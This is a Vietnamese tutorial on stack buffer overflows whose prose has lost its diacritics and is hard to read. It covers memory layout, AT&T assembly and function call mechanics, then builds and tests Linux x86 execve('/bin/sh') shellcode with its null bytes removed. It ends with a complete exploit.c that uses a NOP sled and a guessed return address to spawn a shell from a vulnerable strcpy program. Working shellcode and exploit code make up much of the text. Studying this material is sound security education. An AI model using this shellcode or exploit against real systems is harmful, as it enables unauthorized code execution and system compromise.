You are on page 1of 27

Tm hiu y v trn b m

T - Vicki's real fan

Li m u
Trn b m l mt trong nhng l hng bo mt ln nht hin nay. Vy
trn b m l g? Lm th no thi hnh cc m lnh nguy him qua
trn b m...?
***Lu *** mt t kin thc v Assembly, C, GDB v Linux l iu cn
thit i vi bn!

S t chc b nh ca mt chng trnh


/------------------\ a ch vng nh cao
|
|
|
Stack
|
|
|
|------------------|
|
(Initialized) |
|
Data
|
| (Uninitialized) |
|------------------|
|
|
|
Text
|
|
|
\------------------/ a ch vng nh thp

Stack v Heap?
Heap l vng nh dng cp pht cho cc bin tnh hoc cc vng nh
c cp pht bng hm malloc()
Stack l vng nh dng lu cc tham s v cc bin cc b ca hm.
Cc bin trn heap c cp pht t vng nh thp n vng nh cao.
Trn stack th hon ton ngc li, cc bin c cp pht t vng nh
cao n vng nh thp.
Stack hot ng theo nguyn tc "vo sau ra trc"(Last In First Out LIFO). Cc gi tr c y vo stack sau cng s c ly ra khi stack
trc tin.
PUSH v POP

Stack t trn xung dui(t vng nh cao n vng nh thp). Thanh


ghi ESP lun tr n nh ca stack(vng nh c a ch thp).
nh ca b nh /------------\ y ca stack
|
|
|
|
|
|
|
|
|
|
|
| <-- ESP
y ca b nh \------------/ nh ca stack

* PUSH mt value vo stack


nh ca b nh /------------\
|
|
|
|
|
|
|
|
|
|
|------------|
(2) ->
value
|
sizeof(value) (1)
y ca b nh \------------/

y ca stack

<- ESP c
<- ESP mi = ESP c nh ca stack

1/ ESP=ESP-sizeof(value)
2/ value c y vo stack
* POP mt value ra khi stack
nh ca b nh /------------\
|
|
|
|
|
|
|
|
|
|
sizeof(value)(2)
|------------|
(1) <value
|
y ca b nh \------------/

y ca stack

<- ESP mi = ESP c +


<- ESP c
nh ca stack

1/ value c ly ra khi stack


2/ ESP=ESP+sizeof(value)

Khc nhau gia cc lnh hp ng AT&T vi Intel


Khc vi MSDOS v WINDOWS, *NIX dng cc lnh hp ng AT&T.
N hon ton ngc li vi chun ca Intel/Microsoft.
V d:

Intel
mov eax, esp
push 7
mov [esp+5], eax
inc ah
push 7
...

AT&T
movl %esp, %eax
push $7
movl %eax, 0x5(%esp)
incb %ah
push $7

* Ghi ch:
e - Extended 32 bits
% - register
mov %src, %des
movl - move 1 long
movb - move 1 byte
movw - move 1 word
$ - hng
# - ch thch
...

Cch lm vic ca hm
Thanh ghi EIP lun tr n a ch ca cu lnh tip theo cn thi hnh.
Khi gi hm, u tin cc tham s c push vo stack theo th t ngc
li. Tip theo a ch ca cu lnh c push vo stack. Sau , thanh ghi
EBP c push vo stack(dng lu gi tr c ca EBP).
Khi kt thc hm, thanh ghi EBP c pop ra khi stack(phc hi li gi
tr c ca EBP). Sau a ch tr v(ret address) c pop ra khi stack
v lnh tip theo sau li gi hm s c thi hnh.
Thanh ghi EBP c dng xc nh cc tham s v cc bin cc b ca
hm.
V d:
test.c
----------------------------------------------------------------------------void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}
void main() {
function(1,2,3);

}
-----------------------------------------------------------------------------

hiu c chng trnh gi hm function() nh th no, bn hy


compile vidu1.c, dng tham s -S pht m assembly:
[t@localhost ~/vicki]$cc -S -o test.s test.c
Xem file test.s, chng ta s thy call function() c chuyn thnh:
pushl $3
pushl $2
pushl $1
call function

3 tham s truyn cho function() ln lt c push vo stack theo th t


ngc li. Cu lnh 'call' s push con tr lnh(tc l thanh ghi EIP) vo
stack lu a ch tr v.
Cc lnh u tiu trong hm function() s c dng nh sau:
pushl %ebp
movl %esp,%ebp
subl $20,%esp

u tin ESP(frame pointer) c push vo stack. Sau chng trnh


copy ESP vo EBP to mt FP pointer mi. Bn d nhn thy lc ny
ESP v EBP u ang tr n nh cha EBP c. Hy ghi nh iu ny.
Tip theo ESP c tr i 20 dnh khng gian cho cc bin cc b ca
hm function()
V chng trnh 32 bits nn 5 bytes buffer1 s l 8 bytes(2 words) trong b
nh(do lm trn n 4 bytes hay l 32 bits), 10 bytes buffer2 s l 12 bytes
trong b nh(3 words). Tng cng s tn 8+12=20 bytes cho cc bin cc
b ca function() nn ESP phi b tr i 20! Stack s c dng nh sau:
y ca
nh ca
b nh
b nh
c
<-----]
nh ca
y ca
stack
stack

buffer2
[

buffer1
][

sfp

12 bytes

][
8 bytes

ret
][

4b

a
][

4b

b
][

][

Trong hm function(), ni dung thanh ghi EBP khng b thay i.


0xz%ebp dng xc nh nh cha tham s ca hm
0xfffffz%ebp dng xc nh nh cha bin cc b ca hm
Khi kt thc hm function():
movl %ebp,%esp
popl %ebp
ret

movl %ebp, %esp s copy EBP vo ESP. V EBP khi bt u hm tr


n nh cha EBP c v EBP khng b thay i trong hm function()
nn sau khi thc hin lnh movl, ESP s tr n nh cha EBP c. popl
%ebp s phc hi li gi tr c cho EBP ng thi ESP s b gim
4(ESP=ESP-sizeof(EBP c)) sau lnh popl. Nh vy ESP s tr n nh
cha a ch tr v(nm ngay trn nh cha EBP c). ret s pop a ch
tr v ra khi stack, ESP s b gim 4 v chng trnh tip tc thi hnh cu
lnh sau lnh call function().

Chng trnh b trn b m


V d:
gets.c:
--------------------------------------int main()
{
char buf[20];
gets(buf);
}
--------------------------------------[t@localhost ~/vicki]$ cc gets.c -o gets
/tmp/cc4C6vaT.o: In function `main':
/tmp/cc4C6vaT.o(.text+0xe): the `gets' function is
dangerous and should not be used.
[t@localhost ~/vicki]$

gets(buf) s nhn input data vo buf. Kch thc ca buf ch l 20 bytes.


Nu ta y data c kch thc ln hn 20 bytes vo buf, 20 bytes data u
tin s vo mng buf[20], cc bytes data sau s ghi ln EBP c v tip
theo l ret addr. Nh vy chng ta c th thay i c a ch tr v, iu
ny ng ngha vi vic chng trnh b trn b m.
nh ca b nh +-------------+ y ca stack
| return addr |
+-------------+
|
EBP c
|
+-------------+
|
|

|
|
|
buf[20]
|
|
|
|
|
y ca b nh +-------------+ nh ca stack

Bn hy th:
[t@localhost ~/vicki]$ perl -e 'print "A" x 24' | ./gets
[t@localhost ~/vicki]$ gdb gets core
GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are
welcome to change it and/or distribute copies of it under
certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show
warranty" for details.
This GDB was configured as "i386-mandrake-linux"...
Core was generated by `./gets'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb) info all
eax
0xbffffbc4
-1073742908
ecx
0xbffffbc4
-1073742908
edx
0x40105dbc
1074814396
ebx
0x4010748c
1074820236
esp
0xbffffbe0
0xbffffbe0
ebp
0x41414141
0x41414141 // hy nhn xem,
chng ta va ghi ln ebp
esi
0x4000a610
1073784336
edi
0xbffffc24
-1073742812
eip
0x40031100
0x40031100
eflags
0x10282
66178
cs
0x23
35
ss
0x2b
43
ds
0x2b
43
es
0x2b
43
fs
0x2b
43
gs
0x2b
43
(gdb) quit
[t@localhost ~/vicki]$

0x41 chnh l "A" dng hex


By gi bn hy th tip:
[t@localhost ~/vicki]$ perl -e 'print "A" x 28' | ./gets
Segmentation fault
[t@localhost ~/vicki]$ gdb gets core

GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0


Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are
welcome to change it and/or distribute copies of it under
certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show
warranty" for details.
This GDB was configured as "i386-mandrake-linux"...
Core was generated by `./gets'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb) info all
eax
0xbffffbc4
-1073742908
ecx
0xbffffbc4
-1073742908
edx
0x40105dbc
1074814396
ebx
0x4010748c
1074820236
esp
0xbffffbe0
0xbffffbe0
ebp
0x41414141
0x41414141 // chng ta
ghi ln ebp
esi
0x4000a610
1073784336
edi
0xbffffc24
-1073742812
eip
0x41414141
0x41414141 // chng ta
ghi ln eip
eflags
0x10282
66178
cs
0x23
35
ss
0x2b
43
ds
0x2b
43
es
0x2b
43
fs
0x2b
43
gs
0x2b
43
(gdb) quit
[t@localhost ~/vicki]$

a ch tr v b thay i thnh 0x41414141, chng trnh s thi hnh cc


lnh ti 0x41414141, tuy nhin y l vng cm nn Linux bo li
"Segmentation fault"

Shellcode
Hnh dung cc t shellcode trn stack
v d trc, chng ta bit c nguyn nhn ca trn b m v cch
thay i eip. Tuy nhin, chng ta cn phi thay i a ch tr v tr n
shellcode mt shell. Bn c th hnh dung ra cch t shellcode trn
stack nh sau:
Trc khi trn b m:

y ca b nh
nh
ca b nh
<----- FFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFFFFF
nh ca stack
y
ca stack

B = buffer
E = stack frame pointer
R = return address
F = cc data khc
Khi trn b m:
y ca b nh
nh
ca b nh
<----- FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF
nh ca stack
y
ca stack

S = shellcode
A = con tr n shellcode
F = cc data khc
(1) Lp trn b m(n return addr) bng a ch ca buffer
(2) t shellcode vo buffer
Nh vy a ch tr v s tr n shellcode, shellcode s mt root shell.
Tuy nhin, tht kh lm cho ret addr tr n ng shellcode. C mt
cch khc, chng ta s t vo u ca buffer mt dy lnh NOP(NO
oPeration - khng x l), tip theo chng ta y shellcode vo sau NOPs.
Nh vy khi thay i ret addr tr n mt ni ny u buffer, cc
lnh NOP s c thi hnh, chng khng lm g c. n khi gp cc lnh
shellcode, shellcode s lm nhim v root shell. Stack c dng nh sau:
y ca b nh
nh
ca b nh
<----- FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF
nh ca stack
y
ca stack

N = NOP
S = shellcode
A = con tr n shellcode
F = cc data khc

Vit v test th shellcode


Shellcode c t trn stack nn khng th no dng a ch tuyt i.
Chng ta buc phi dng a ch tng i. Tht may cho chng ta, lnh

jmp v call c th chp nhn cc a ch tng i. Shellcode s c dng


nh sau:
0
jmp
(nhy xung z bytes, tc l n cu lnh call)
2
popl %esi
... t cc hm ti y ...
Z
call <-Z+2> (call s nhy ln z-2 bytes, b ngay cu
lnh sau jmp, POPL)
Z+5 .string
(bin)

Gii thch: u shellcode chng ta t mt lnh jmp n call. call s


nhy ngc ln li cu lnh ngay sau jmp, tc l cu lnh popl %esi.
Chng ta t cc d liu .string ngay sau call. Khi lnh call c thi
hnh, n s push a ch ca cu lnh k tip, trong trng hp ny l a
ch ca .string vo stack. Cu lnh ngay sau jmp l popl %esi, nh vy
esi s cha a ch ca .string. Chng ta t cc hm cn x l gia popl
%esi v call <-z+2>, cc hm ny s xc nh cc d liu .string qua
thanh ghi esi.
M lnh shell trong C c dng nh sau:
shellcode.c
---------------------------------------------------------------------------#include
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);

}
-----------------------------------------------------------------------------

tm ra m lnh assembly tht s ca shellcode, bn cn compile


shellcode.c v sau chy gdb. Nh dng c -static khi compile
shellcode.c gp cc m lnh assembly tht s ca hm execve vo, nu
khng dng c ny, bn ch nhn c mt tham chiu n th vin lin
kt ng ca C cho hm execve.
[t@localhost ~/vicki]$ gcc -o shellcode -ggdb -static
shellcode.c
[t@localhost ~/vicki]$ gdb shellcode
GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are
welcome to change it and/or distribute copies of it under
certain conditions.
Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show


warranty" for details.
This GDB was configured as "i386-mandrake-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8000130 :
pushl %ebp
0x8000131 :
movl
%esp,%ebp
0x8000133 :
subl
$0x8,%esp
0x8000136 :
movl
$0x80027b8,0xfffffff8(%ebp)
0x800013d :
movl
$0x0,0xfffffffc(%ebp)
0x8000144 :
pushl $0x0
0x8000146 :
leal
0xfffffff8(%ebp),%eax
0x8000149 :
pushl %eax
0x800014a :
movl
0xfffffff8(%ebp),%eax
0x800014d :
pushl %eax
0x800014e :
call
0x80002bc <__execve>
0x8000153 :
addl
$0xc,%esp
0x8000156 :
movl
%ebp,%esp
0x8000158 :
popl
%ebp
0x8000159 :
ret
End of assembler dump.
(gdb) disas __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>:
pushl %ebp
0x80002bd <__execve+1>: movl
%esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl
$0xb,%eax
0x80002c5 <__execve+9>: movl
0x8(%ebp),%ebx
0x80002c8 <__execve+12>:
movl
0xc(%ebp),%ecx
0x80002cb <__execve+15>:
movl
0x10(%ebp),%edx
0x80002ce <__execve+18>:
int
$0x80
0x80002d0 <__execve+20>:
movl
%eax,%edx
0x80002d2 <__execve+22>:
testl %edx,%edx
0x80002d4 <__execve+24>:
jnl
0x80002e6
<__execve+42>
0x80002d6 <__execve+26>:
negl
%edx
0x80002d8 <__execve+28>:
pushl %edx
0x80002d9 <__execve+29>:
call
0x8001a34
<__normal_errno_location>
0x80002de <__execve+34>:
popl
%edx
0x80002df <__execve+35>:
movl
%edx,(%eax)
0x80002e1 <__execve+37>:
movl
$0xffffffff,%eax
0x80002e6 <__execve+42>:
popl
%ebx
0x80002e7 <__execve+43>:
movl
%ebp,%esp
0x80002e9 <__execve+45>:
popl
%ebp
0x80002ea <__execve+46>:
ret
0x80002eb <__execve+47>:
nop
End of assembler dump.
(gdb) quit

Gii thch:
1/ main():
0x8000130 :

pushl

%ebp

0x8000131 :
0x8000133 :

movl
subl

%esp,%ebp
$0x8,%esp

Cc lnh ny bn vit ri. N s lu frame pointer c v


to frame pointer mi t stack pointer, sau dnh ch cho
cc bin cc b ca main() trn stack, trong trng hp ny
l 8 bytes:
char *name[2];
2 con tr kiu char, mi con tr di 1 word nn phi tn 2
word, tc l 8 bytes trn stack.
0x8000136 :

movl

$0x80027b8,0xfffffff8(%ebp)

copy gi tr 0x80027b8(a ch ca chui "/bin/sh") vo con


tr u tin ca mng con tr name[]. Cu lnh ny tng
ng vi:
name[0] = "/bin/sh";
0x800013d :

movl

$0x0,0xfffffffc(%ebp)

copy gi tr 0x0(NULL) vo con tr th 2 ca name[]. Cu


lnh ny tng ng vi:
name[1] = NULL;
M lnh tht s call execve() bt u ti y:
0x8000144 :

pushl

$0x0

push cc tham s ca hm execve() vo stack theo th t


ngc li, u tin l NULL
0x8000146 :

leal

0xfffffff8(%ebp),%eax

np a ch ca name[] vo thanh ghi EAX


0x8000149 :

pushl

%eax

push a ch ca name[] vo stack


0x800014a :

movl

0xfffffff8(%ebp),%eax

np a ch ca chui "/bin/sh" vo stack


0x800014e :

call

0x80002bc <__execve>

gi hm th vin execve(). call s push eip vo stack.


2/ execve():
0x80002bc <__execve>:
pushl
0x80002bd <__execve+1>: movl
0x80002bf <__execve+3>: pushl

%ebp
%esp,%ebp
%ebx

y l phn m u ca hm, ti khng cn gii thch cho


bn na
0x80002c0 <__execve+4>: movl

$0xb,%eax

copy 0xb(11 decimal) vo stack. 11 = execve()


0x80002c5 <__execve+9>: movl

0x8(%ebp),%ebx

copy a ch ca "/bin/sh" vo EBX


0x80002c8 <__execve+12>:

movl

0xc(%ebp),%ecx

copy a ch ca name[] vo ECX


0x80002cb <__execve+15>:

movl

0x10(%ebp),%edx

copy a ch ca con tr null vo EDX


0x80002ce <__execve+18>:

int

$0x80

gi ngt $0x80
Tm li:
a/ c mt chui kt thc bng null "/bin/sh" u trong b nh
b/ c a ch ca chui "/bin/sh" u trong b nh theo sau l 1 null
di 1 word
c/ copy 0xb vo thanh ghi EAX
d/ copy a ch ca a ch ca chui "/bin/sh" vo thanh ghi EBX
e/ copy a ch ca chui "/bin/sh" vo thanh ghi ECX
f/ copy a ch ca null di 1 word vo thanh ghi EDX
g/ gi ngt $0x80
Sau khi thi hnh call execve, chng trnh c th thi hnh tip cc cu
lnh rc cn li trn stack v chng trnh c th tht bi. V vy, chng ta
phi nhanh chng kt thc chng trnh bng li gi hm exit(). Exit
syscall trong C c dng nh sau:
exit.c

----------------------------------------------------------------------------#include
void main() {
exit(0);
}
-----------------------------------------------------------------------------

Xem m assemly ca hm exit():


[t@localhost ~/vicki]$ gcc -o exit -ggdb -static exit.c
[t@localhost ~/vicki]$ gdb exit
GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are
welcome to change it and/or distribute copies of it under
certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show
warranty" for details.
This GDB was configured as "i386-mandrake-linux"...
(gdb) disas _exit
Dump of assembler code for function _exit:
0x800034c <_exit>:
pushl %ebp
0x800034d <_exit+1>:
movl
%esp,%ebp
0x800034f <_exit+3>:
pushl %ebx
0x8000350 <_exit+4>:
movl
$0x1,%eax
0x8000355 <_exit+9>:
movl
0x8(%ebp),%ebx
0x8000358 <_exit+12>:
int
$0x80
0x800035a <_exit+14>:
movl
0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>:
movl
%ebp,%esp
0x800035f <_exit+19>:
popl
%ebp
0x8000360 <_exit+20>:
ret
0x8000361 <_exit+21>:
nop
0x8000362 <_exit+22>:
nop
0x8000363 <_exit+23>:
nop
End of assembler dump.
(gdb) quit

exit syscall s t 0x1 vo EAX, t exit code trong EBX v gi ngt "int
0x80". exit code = 0 ngha l khng gp li. V vy chng ta s t 0 trong
EBX.
Tm li:
a/ c mt chui kt thc bng null "/bin/sh" u trong b nh
b/ c a ch ca chui "/bin/sh" u trong b nh theo sau l 1 null
di 1 word
c/ copy 0xb vo thanh ghi EAX
d/ copy a ch ca a ch ca chui "/bin/sh" vo thanh ghi EBX

e/ copy a ch ca chui "/bin/sh" vo thanh ghi ECX


f/ copy a ch ca null di 1 word vo thanh ghi EDX
g/ gi ngt $0x80
h/ copy 0x1 vo thanh ghi EAX
i/ copy 0x0 vo thanh ghi EBX
j/ gi ngt $0x80
Shellcode s c dng nh sau:
----------------------------------------------------------------------------jmp
offset-to-call
# 2 bytes
popl
%esi
# 1 byte
movl
%esi,array-offset(%esi) # 3 bytes
movb
$0x0,nullbyteoffset(%esi)# 4 bytes
movl
$0x0,null-offset(%esi)
# 7 bytes
movl
$0xb,%eax
# 5 bytes
movl
%esi,%ebx
# 2 bytes
leal
array-offset,(%esi),%ecx # 3 bytes
leal
null-offset(%esi),%edx
# 3 bytes
int
$0x80
# 2 bytes
movl
$0x1, %eax
# 5 bytes
movl
$0x0, %ebx
# 5 bytes
int
$0x80
# 2 bytes
call
offset-to-popl
# 5 bytes
/bin/sh string goes here.
-----------------------------------------------------------------------------

Tnh ton cc offsets t jmp n call, t call n popl, t a ch ca chui


n mng, v t a ch ca chui n word null, chng ta s c shellcode
tht s:
----------------------------------------------------------------------------jmp
0x26
# 2 bytes
popl
%esi
# 1 byte
movl
%esi,0x8(%esi)
# 3 bytes
movb
$0x0,0x7(%esi)
# 4 bytes
movl
$0x0,0xc(%esi)
# 7 bytes
movl
$0xb,%eax
# 5 bytes
movl
%esi,%ebx
# 2 bytes
leal
0x8(%esi),%ecx
# 3 bytes
leal
0xc(%esi),%edx
# 3 bytes
int
$0x80
# 2 bytes
movl
$0x1, %eax
# 5 bytes
movl
$0x0, %ebx
# 5 bytes
int
$0x80
# 2 bytes
call
-0x2b
# 5 bytes
.string \"/bin/sh\"
# 8 bytes
-----------------------------------------------------------------------------

bit m my ca cc lnh hp ng trn dng hexa, bn cn compile


shellcodeasm.c v gdb shellcodeasm:
shellcodeasm.c
----------------------------------------------------------------------------void main() {
__asm__("
jmp
0x2a
# 3 bytes
popl
%esi
# 1 byte
movl
%esi,0x8(%esi)
# 3 bytes
movb
$0x0,0x7(%esi)
# 4 bytes
movl
$0x0,0xc(%esi)
# 7 bytes
movl
$0xb,%eax
# 5 bytes
movl
%esi,%ebx
# 2 bytes
leal
0x8(%esi),%ecx
# 3 bytes
leal
0xc(%esi),%edx
# 3 bytes
int
$0x80
# 2 bytes
movl
$0x1, %eax
# 5 bytes
movl
$0x0, %ebx
# 5 bytes
int
$0x80
# 2 bytes
call
-0x2f
# 5 bytes
.string \"/bin/sh\"
# 8 bytes
");
}
----------------------------------------------------------------------------[t@localhost ~/vicki]$ gcc -o shellcodeasm -g -ggdb
shellcodeasm.c
[t@localhost ~/vicki]$ gdb shellcodeasm
GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are
welcome to change it and/or distribute copies of it under
certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show
warranty" for details.
This GDB was configured as "i386-mandrake-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8000130 :
pushl %ebp
0x8000131 :
movl
%esp,%ebp
0x8000133 :
jmp
0x800015f
0x8000135 :
popl
%esi
0x8000136 :
movl
%esi,0x8(%esi)
0x8000139 :
movb
$0x0,0x7(%esi)
0x800013d :
movl
$0x0,0xc(%esi)
0x8000144 :
movl
$0xb,%eax
0x8000149 :
movl
%esi,%ebx
0x800014b :
leal
0x8(%esi),%ecx
0x800014e :
leal
0xc(%esi),%edx
0x8000151 :
int
$0x80
0x8000153 :
movl
$0x1,%eax
0x8000158 :
movl
$0x0,%ebx

0x800015d :
int
$0x80
0x800015f :
call
0x8000135
0x8000164 :
das
0x8000165 :
boundl 0x6e(%ecx),%ebp
0x8000168 :
das
0x8000169 :
jae
0x80001d3 <__new_exitfn+55>
0x800016b :
addb
%cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 :
0xeb
(gdb)
0x8000134 :
0x2a
(gdb)
.
.
.
(gdb) quit

Ghi ch: x/bx dng hin th m my dng hexa ca lnh hp ng


By gi bn hy test th shellcode u tin:
testsc1.c
----------------------------------------------------------------------------char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\
x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\
xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\
xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
----------------------------------------------------------------------------[t@localhost ~/vicki]$ cc -o testsc1 testsc1.c
[t@localhost ~/vicki]$ ./testsc1
sh-2.04$ exit
[t@localhost ~/vicki]$

N lm vic! Tuy nhin c mt vn ln trong shellcode u tin.


Shellcode ny c cha \x00. Chng ta s tht bi nu dng shellcode ny
lm trn b m. V sao? Hm strcpy() s chm dt copy khi gp \x00
nn shellcode s khng c copy trn vn vo buffer! Chng ta cn g
b ht \x00 trong shellcode:

Cu lnh gp vn :
c thay th bng:
-------------------------------------------------------movb
$0x0,0x7(%esi)
xorl
%eax,%eax
molv
$0x0,0xc(%esi)
movb
%eax,0x7(%esi)
movl
%eax,0xc(%esi)
-------------------------------------------------------movl
$0xb,%eax
movb
$0xb,%al
-------------------------------------------------------movl
$0x1, %eax
xorl
%ebx,%ebx
movl
$0x0, %ebx
movl
%ebx,%eax
inc
%eax
--------------------------------------------------------

Shellcode mi!
shellcodeasm2.c
----------------------------------------------------------------------------void main() {
__asm__("
jmp
0x1f
# 2 bytes
popl
%esi
# 1 byte
movl
%esi,0x8(%esi)
# 3 bytes
xorl
%eax,%eax
# 2 bytes
movb
%eax,0x7(%esi)
# 3 bytes
movl
%eax,0xc(%esi)
# 3 bytes
movb
$0xb,%al
# 2 bytes
movl
%esi,%ebx
# 2 bytes
leal
0x8(%esi),%ecx
# 3 bytes
leal
0xc(%esi),%edx
# 3 bytes
int
$0x80
# 2 bytes
xorl
%ebx,%ebx
# 2 bytes
movl
%ebx,%eax
# 2 bytes
inc
%eax
# 1 bytes
int
$0x80
# 2 bytes
call
-0x24
# 5 bytes
.string \"/bin/sh\"
# 8 bytes
# 46 bytes total
");
}
-----------------------------------------------------------------------------

Test shellcode mi!


testsc2.c
----------------------------------------------------------------------------char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\
xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\
x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
----------------------------------------------------------------------------[t@localhost ~/vicki]$ cc -o testsc2 testsc2.c
[t@localhost ~/vicki]$ ./testsc2
sh-2.04$ exit
[t@localhost ~/vicki]$

Vit trn b m
V d 1:
overflow.c
----------------------------------------------------------------------------char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x
b0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x
40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
----------------------------------------------------------------------------[t@localhost ~/vicki]$ cc -o overflow overflow.c
[t@localhost ~/vicki]$ ./overflow
sh-2.04$ exit
[t@localhost ~/vicki]$

* Gii thch:

nh ca
nh ca
b nh
b nh

+--------------+ y ca

+----------------+

addr(buffer)

|
|
|
|

addr(buffer)
...
addr(buffer)
addr(buffer)

|
|
|
|

ret addr

stack

+--------------+
|
ebp
|
+--------------+
|
|
large_string[128]
|
buffer[96] |
|
|
+--------------+
|
long_ptr
| -------------->
y ca
+--------------+ nh ca
ca
b nh
stack
nh
STACK

| addr(buffer) |
|
|
|
shellcode
|
|
|
+----------------+ y
b
HEAP

char large_string[128]; //cp pht mt vng nh 128 bytes trn HEAP


long *long_ptr = (long *) large_string; // cho long_ptr tr n u mng
large_string[]
for (i=0; i<32; i++)
*(long_ptr+i) = (int)buffer; //lp y mng large_string[] bng a ch
ca mng buffer[]
for (i=0; i<strlen(shellcode); i++)
large_string[i] = shellcode[i]; //y shellcode vo phn u ca mng
large_string[]
strcpy(buffer, large_string); //copy large_string vo buffer... lm trn b
m
Trc ht chng ta khi to mt mng large_string[] c kch thc ln
hn buffer[] trn HEAP. Tip theo lp y large_string[] bng a ch ca
buffer[]. Shellcode s c gn vo phn u ca large_string[]. Khi hm
strcpy c thc hin, n s copy large_string vo buffer. Bi v
large_string qu ln nn n s ghi ln ebp v return addr. Phn trn ca
mng large_string ton l a ch ca buffer[] - addr(buffer) nn return
addr s tr n buffer[0]. M nm ngay phn u ca buffer li chnh l
shellcode(do ta copy large_string vo buffer bng hm strcpy), nn
shellcode s c thi hnh, n s ra mt shell lnh.
V d 2:
vit trn b m, bn phi bin a ch ca buffer trn stack. Tht may
cho chng ta l hu nh tt c cc chng trnh u c cng a ch bt

u stack. Chng ta c th ly c a ch bt u ca stack qua chng


trnh sau:
sp.c
----------------------------------------------------------------------------unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main() {
printf("0x%x\n", get_sp());
}
----------------------------------------------------------------------------[t@localhost ~/vicki]$ cc -o sp sp.c
[t@localhost ~/vicki]$ ./sp
0xbffffb07
[t@localhost ~/vicki]$

Gi s chng trnh m chng ta c lm trn b m nh sau:


vulnerable.c
---------------------------------------------int main(int argc, char *argv[])
{
char buffer[500];
if(argc>=2) strcpy(buffer, argv[1]);
return 0;
}
----------------------------------------------

y l chng trnh exploit.c. exploit s lm trn b m ca vulnerable


v buc vulnerable mt shell lnh cho chng ta.
exploit.c
----------------------------------------------------------------------------#include <stdlib.h>
#define BUFFERSIZE 600
#define OFFSET 0
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x
b0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x
40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void)
{
__asm__("movl %esp, %eax");

}
int main(int argc, char *argv[])
{
int i, offset=OFFSET, bsize=BUFFERSIZE;
long esp, ret, *addr_ptr;
char *buffer, *ptr, *osptr;
if (argc>1) bsize=atoi(argv[1]);
if (argc>2) offset=atoi(argv[2]);
esp=get_esp();
ret=esp-offset;
printf("Stack pointer: 0x%x\n",esp);
printf("Offset
: 0x%x\n",offset);
printf("Return addr : 0x%x\n",ret);
if (!(buffer=malloc(bsize)))
{
printf("Khong the cap phat bo nho.\n");
exit(-1);
}
ptr=buffer;
addr_ptr=(long *)ptr;
for (i=0;i<bsize;i+=4)
*(addr_ptr++)=ret;
for (i=0;i<bsize/2;i++)
buffer[i]=NOP;
ptr=buffer+((bsize/2)-(strlen(shellcode)/2));
for (i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];
buffer[bsize-1]=0;
execl("./vulnerable","vulnerable",buffer,0);
}
